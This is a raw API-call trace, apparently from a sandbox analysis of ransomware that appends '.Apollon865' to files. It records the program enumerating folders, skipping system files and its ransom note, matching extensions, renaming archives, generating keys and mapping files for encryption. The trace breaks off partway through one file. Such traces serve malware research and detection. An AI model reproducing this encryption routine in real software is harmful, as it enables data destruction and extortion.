	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2="windows") returned -1
	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2="bootmgr") returned 1
	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2="temp") returned -1
	[0054.002] lstrcmpiW (lpString1="Form.zip", lpString2="pagefile.sys") returned -1
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2="boot") returned 1
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2="ids.txt") returned -1
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2="ntuser.dat") returned -1
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2="perflogs") returned -1
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2="MSBuild") returned -1
	[0054.003] lstrlenW (lpString="Form.zip") returned 8
	[0054.003] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\EmptyDatabase.zip") returned 109
	[0054.003] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Form.zip" | out: lpString1="Form.zip") returned="Form.zip"
	[0054.003] lstrlenW (lpString="Form.zip") returned 8
	[0054.003] lstrlenW (lpString="Apollon865") returned 10
	[0054.003] lstrlenW (lpString=".dll") returned 4
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2=".dll") returned 1
	[0054.003] lstrlenW (lpString=".lnk") returned 4
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2=".lnk") returned 1
	[0054.003] lstrlenW (lpString=".ini") returned 4
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2=".ini") returned 1
	[0054.003] lstrlenW (lpString=".sys") returned 4
	[0054.003] lstrcmpiW (lpString1="Form.zip", lpString2=".sys") returned 1
	[0054.003] lstrlenW (lpString="Form.zip") returned 8
	[0054.003] lstrlenW (lpString="bak") returned 3
	[0054.003] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.003] lstrlenW (lpString="ba_") returned 3
	[0054.003] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.003] lstrlenW (lpString="dbb") returned 3
	[0054.003] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.003] lstrlenW (lpString="vmdk") returned 4
	[0054.003] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.003] lstrlenW (lpString="rar") returned 3
	[0054.003] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.003] lstrlenW (lpString="zip") returned 3
	[0054.003] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.003] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip.Apollon865") returned 111
	[0054.003] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.004] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\form.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.004] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1413) returned 1
	[0054.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.005] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.005] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.005] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.005] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.006] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x890, lpName=0x0) returned 0x154
	[0054.007] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x890) returned 0x100000
	[0054.009] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.010] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.010] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.010] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.010] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.010] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.010] CloseHandle (hObject=0x154) returned 1
	[0054.011] CloseHandle (hObject=0x150) returned 1
	[0054.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.011] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.011] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x38283bb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x38283bb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0054.011] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0054.011] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x303, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Interface.zip", cAlternateFileName="INTERF~1.ZIP")) returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2=".") returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="..") returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="windows") returned -1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="bootmgr") returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="temp") returned -1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="pagefile.sys") returned -1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="boot") returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="ids.txt") returned 1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="ntuser.dat") returned -1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="perflogs") returned -1
	[0054.011] lstrcmpiW (lpString1="Interface.zip", lpString2="MSBuild") returned -1
	[0054.011] lstrlenW (lpString="Interface.zip") returned 13
	[0054.011] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Form.zip") returned 100
	[0054.011] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Interface.zip" | out: lpString1="Interface.zip") returned="Interface.zip"
	[0054.011] lstrlenW (lpString="Interface.zip") returned 13
	[0054.011] lstrlenW (lpString="Apollon865") returned 10
	[0054.012] lstrcmpiW (lpString1="erface.zip", lpString2="Apollon865") returned 1
	[0054.012] lstrlenW (lpString=".dll") returned 4
	[0054.012] lstrcmpiW (lpString1="Interface.zip", lpString2=".dll") returned 1
	[0054.012] lstrlenW (lpString=".lnk") returned 4
	[0054.012] lstrcmpiW (lpString1="Interface.zip", lpString2=".lnk") returned 1
	[0054.012] lstrlenW (lpString=".ini") returned 4
	[0054.012] lstrcmpiW (lpString1="Interface.zip", lpString2=".ini") returned 1
	[0054.012] lstrlenW (lpString=".sys") returned 4
	[0054.012] lstrcmpiW (lpString1="Interface.zip", lpString2=".sys") returned 1
	[0054.012] lstrlenW (lpString="Interface.zip") returned 13
	[0054.012] lstrlenW (lpString="bak") returned 3
	[0054.012] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.012] lstrlenW (lpString="ba_") returned 3
	[0054.012] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.012] lstrlenW (lpString="dbb") returned 3
	[0054.012] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.012] lstrlenW (lpString="vmdk") returned 4
	[0054.012] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.012] lstrlenW (lpString="rar") returned 3
	[0054.012] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.012] lstrlenW (lpString="zip") returned 3
	[0054.012] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.012] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip.Apollon865") returned 116
	[0054.012] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.013] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\interface.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.013] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=771) returned 1
	[0054.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.013] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.013] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.014] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.014] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.014] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x610, lpName=0x0) returned 0x154
	[0054.016] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x610) returned 0x100000
	[0054.038] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.039] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.039] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.039] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.039] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.039] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.039] CloseHandle (hObject=0x154) returned 1
	[0054.039] CloseHandle (hObject=0x150) returned 1
	[0054.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.040] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.040] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1101c3d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x3719, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MDIParent.zip", cAlternateFileName="MDIPAR~1.ZIP")) returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".") returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="..") returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="windows") returned -1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="bootmgr") returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="temp") returned -1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="pagefile.sys") returned -1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="boot") returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="ids.txt") returned 1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="ntuser.dat") returned -1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="perflogs") returned -1
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2="MSBuild") returned -1
	[0054.040] lstrlenW (lpString="MDIParent.zip") returned 13
	[0054.040] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Interface.zip") returned 105
	[0054.040] lstrcpyW (in: lpString1=0x2d3e608, lpString2="MDIParent.zip" | out: lpString1="MDIParent.zip") returned="MDIParent.zip"
	[0054.040] lstrlenW (lpString="MDIParent.zip") returned 13
	[0054.040] lstrlenW (lpString="Apollon865") returned 10
	[0054.040] lstrcmpiW (lpString1="Parent.zip", lpString2="Apollon865") returned 1
	[0054.040] lstrlenW (lpString=".dll") returned 4
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".dll") returned 1
	[0054.040] lstrlenW (lpString=".lnk") returned 4
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".lnk") returned 1
	[0054.040] lstrlenW (lpString=".ini") returned 4
	[0054.040] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".ini") returned 1
	[0054.041] lstrlenW (lpString=".sys") returned 4
	[0054.041] lstrcmpiW (lpString1="MDIParent.zip", lpString2=".sys") returned 1
	[0054.041] lstrlenW (lpString="MDIParent.zip") returned 13
	[0054.041] lstrlenW (lpString="bak") returned 3
	[0054.041] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.041] lstrlenW (lpString="ba_") returned 3
	[0054.041] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.041] lstrlenW (lpString="dbb") returned 3
	[0054.041] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.041] lstrlenW (lpString="vmdk") returned 4
	[0054.041] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.041] lstrlenW (lpString="rar") returned 3
	[0054.041] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.041] lstrlenW (lpString="zip") returned 3
	[0054.041] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.041] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip.Apollon865") returned 116
	[0054.041] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.042] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.042] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=14105) returned 1
	[0054.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.042] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.042] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.043] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.043] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.043] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a20, lpName=0x0) returned 0x154
	[0054.045] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3a20) returned 0x100000
	[0054.047] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.048] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.048] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.048] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.048] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.048] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.049] CloseHandle (hObject=0x154) returned 1
	[0054.049] CloseHandle (hObject=0x150) returned 1
	[0054.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.049] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.049] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11100c10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x83f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Resource.zip", cAlternateFileName="")) returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2=".") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="..") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="windows") returned -1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="bootmgr") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="temp") returned -1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="pagefile.sys") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="boot") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="ids.txt") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="ntuser.dat") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="perflogs") returned 1
	[0054.049] lstrcmpiW (lpString1="Resource.zip", lpString2="MSBuild") returned 1
	[0054.049] lstrlenW (lpString="Resource.zip") returned 12
	[0054.049] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip") returned 105
	[0054.050] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Resource.zip" | out: lpString1="Resource.zip") returned="Resource.zip"
	[0054.050] lstrlenW (lpString="Resource.zip") returned 12
	[0054.050] lstrlenW (lpString="Apollon865") returned 10
	[0054.050] lstrcmpiW (lpString1="source.zip", lpString2="Apollon865") returned 1
	[0054.050] lstrlenW (lpString=".dll") returned 4
	[0054.050] lstrcmpiW (lpString1="Resource.zip", lpString2=".dll") returned 1
	[0054.050] lstrlenW (lpString=".lnk") returned 4
	[0054.050] lstrcmpiW (lpString1="Resource.zip", lpString2=".lnk") returned 1
	[0054.050] lstrlenW (lpString=".ini") returned 4
	[0054.050] lstrcmpiW (lpString1="Resource.zip", lpString2=".ini") returned 1
	[0054.050] lstrlenW (lpString=".sys") returned 4
	[0054.050] lstrcmpiW (lpString1="Resource.zip", lpString2=".sys") returned 1
	[0054.050] lstrlenW (lpString="Resource.zip") returned 12
	[0054.050] lstrlenW (lpString="bak") returned 3
	[0054.050] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.050] lstrlenW (lpString="ba_") returned 3
	[0054.050] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.050] lstrlenW (lpString="dbb") returned 3
	[0054.050] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.050] lstrlenW (lpString="vmdk") returned 4
	[0054.050] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.050] lstrlenW (lpString="rar") returned 3
	[0054.050] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.050] lstrlenW (lpString="zip") returned 3
